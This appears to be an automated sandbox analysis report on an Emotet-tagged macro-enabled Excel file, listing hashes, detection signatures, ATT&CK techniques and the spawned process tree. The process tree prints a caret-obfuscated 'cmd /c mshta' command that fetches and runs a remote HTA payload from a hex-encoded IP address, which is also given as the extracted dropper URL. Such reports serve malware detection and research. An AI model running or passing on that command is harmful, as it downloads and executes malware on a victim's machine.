Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 02:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90.xlsm

  • Size

    115KB

  • MD5

    f00afd4f894ae4e0536dd0950e125b59

  • SHA1

    cb54baba37c881782c0ef9b7cb378b37dd998902

  • SHA256

    745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90

  • SHA512

    cd07dd00b0a1615a480555ed2f9bc7b075782d084e512cf484e7f66705d06bf8b2059c6397bbff0396df70a58b9f5c7eff5204bc97741bc8e5e6ec16b2a4b6f4

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3168
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:936
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:2876

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2168-115-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp
      Filesize

      64KB

      Download
    • memory/2168-116-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp
      Filesize

      64KB

      Download
    • memory/2168-117-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp
      Filesize

      64KB

      Download
    • memory/2168-118-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp
      Filesize

      64KB

      Download
    • memory/2168-121-0x00007FF97BC30000-0x00007FF97BC40000-memory.dmp
      Filesize

      64KB

      Download
    • memory/2168-128-0x00007FF978E10000-0x00007FF978E20000-memory.dmp
      Filesize

      64KB

      Download
    • memory/2168-129-0x00007FF978E10000-0x00007FF978E20000-memory.dmp
      Filesize

      64KB

      Download